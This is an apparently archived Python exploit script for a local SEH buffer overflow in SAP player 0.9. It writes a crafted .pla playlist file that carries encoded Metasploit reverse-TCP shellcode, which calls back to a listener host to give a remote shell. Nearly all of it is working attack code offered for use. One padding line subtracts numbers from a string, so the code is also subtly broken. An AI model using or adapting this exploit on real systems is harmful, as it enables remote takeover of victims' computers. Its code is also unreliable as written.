#!/usr/bin/python
#
###########################################################################################
#
# SAP player 0.9 (.pla) Universal Local BoF Exploit (SEH) 
# Download: http://www.sorinara.com/sap/sap09.exe                  
# Credits go to:  PLATEN
# Coded by: Steven Seeley aka mr_me
# Tested on Windows XP SP3
# Its not dead till its buried  ;) 
# 
############################################################################################
#
# windows/shell/reverse_tcp - 617 bytes (stage 1)
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# LHOST=192.168.0.2, EXITFUNC=seh, LPORT=4444

sc = ("\xda\xc8\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4d\x38\x50\x56\x45\x50\x45\x50\x43\x30\x51\x43\x50\x55"
"\x46\x36\x50\x57\x4c\x4b\x42\x4c\x46\x44\x45\x48\x4c\x4b\x47"
"\x35\x47\x4c\x4c\x4b\x50\x54\x44\x45\x42\x58\x45\x51\x4b\x5a"
"\x4c\x4b\x51\x5a\x44\x58\x4c\x4b\x50\x5a\x47\x50\x43\x31\x4a"
"\x4b\x4b\x53\x46\x52\x47\x39\x4c\x4b\x47\x44\x4c\x4b\x43\x31"
"\x4a\x4e\x46\x51\x4b\x4f\x4b\x4c\x50\x31\x49\x50\x4e\x4c\x46"
"\x58\x4d\x30\x42\x54\x44\x47\x49\x51\x48\x4f\x44\x4d\x43\x31"
"\x49\x57\x4a\x4b\x4c\x32\x47\x4b\x43\x4c\x46\x44\x45\x44\x42"
"\x55\x4b\x51\x4c\x4b\x51\x4a\x47\x54\x45\x51\x4a\x4b\x45\x36"
"\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x5a\x45\x4c\x45\x51\x4a"
"\x4b\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x4b\x58\x4a\x4b\x45\x52"
"\x50\x31\x49\x50\x51\x4f\x51\x4e\x51\x4d\x51\x4b\x49\x52\x44"
"\x48\x45\x50\x51\x4e\x43\x5a\x46\x50\x50\x59\x45\x34\x4c\x4b"
"\x45\x49\x4c\x4b\x51\x4b\x44\x4c\x4c\x4b\x51\x4b\x45\x4c\x4c"
"\x4b\x45\x4b\x4c\x4b\x51\x4b\x45\x58\x51\x43\x43\x58\x4c\x4e"
"\x50\x4e\x44\x4e\x4a\x4c\x4b\x4f\x48\x56\x4c\x49\x48\x47\x51"
"\x43\x45\x38\x51\x44\x49\x5a\x4e\x4f\x4c\x51\x4b\x4f\x49\x46"
"\x4b\x31\x4a\x4c\x43\x30\x45\x51\x45\x50\x43\x30\x50\x50\x51"
"\x47\x51\x46\x51\x43\x4b\x39\x4b\x55\x4a\x48\x45\x4f\x43\x30"
"\x45\x50\x43\x30\x4a\x30\x43\x31\x43\x30\x43\x30\x4e\x56\x42"
"\x39\x44\x58\x4b\x57\x4e\x44\x44\x59\x42\x50\x4b\x59\x4a\x4c"
"\x4c\x39\x4e\x4a\x45\x30\x4e\x39\x45\x59\x4b\x45\x4e\x4d\x48"
"\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x37\x50\x53\x50\x32\x51\x4f"
"\x46\x53\x46\x52\x43\x30\x51\x4b\x4c\x4d\x50\x4b\x42\x38\x46"
"\x31\x4b\x4f\x49\x47\x4c\x49\x49\x4f\x4c\x49\x49\x53\x4c\x4d"
"\x43\x45\x42\x34\x42\x4a\x45\x55\x50\x59\x50\x51\x46\x33\x4b"
"\x4f\x50\x34\x4c\x4f\x4b\x4f\x51\x45\x43\x34\x51\x49\x4d\x59"
"\x44\x44\x4c\x4e\x4b\x52\x4c\x32\x46\x4b\x51\x37\x46\x34\x4b"
"\x4f\x47\x47\x4b\x4f\x51\x45\x51\x38\x50\x31\x49\x50\x46\x30"
"\x46\x30\x46\x30\x50\x50\x51\x50\x46\x30\x47\x30\x50\x50\x4b"
"\x4f\x51\x45\x47\x54\x4d\x59\x48\x47\x43\x58\x49\x50\x49\x38"
"\x45\x50\x43\x32\x42\x48\x43\x32\x43\x30\x42\x31\x51\x4c\x4d"
"\x59\x4b\x51\x43\x5a\x44\x50\x46\x31\x51\x47\x4b\x4f\x51\x45"
"\x51\x30\x42\x4a\x51\x50\x51\x4e\x46\x36\x49\x51\x4a\x46\x44"
"\x46\x46\x36\x49\x51\x4d\x36\x45\x58\x50\x56\x43\x5a\x43\x30"
"\x4b\x4f\x46\x35\x44\x4c\x4b\x39\x48\x43\x43\x5a\x43\x30\x50"
"\x56\x46\x33\x51\x47\x4b\x4f\x51\x45\x42\x38\x4b\x4f\x4e\x33"
"\x41\x41")

eviL = ("\x41" * 35272);
eviL += ("\xeb\x06\x90\x90") 
eviL += ("\x27\x4a\x01\x10") 
eviL += ("\x90" * 10)
eviL += (sc)
eviL += ("\x43" * 3720 - len(sc) - 10)

print "[+] SAP player 0.9 (.pla) Universal Local BoF Exploit"
print "[+] Creating payload"
file = open('mr_mes_playlist.pla','w');
file.write(eviL);
file.close();
print "[+] pla file created successfully!"

# milw0rm.com [2009-09-15]
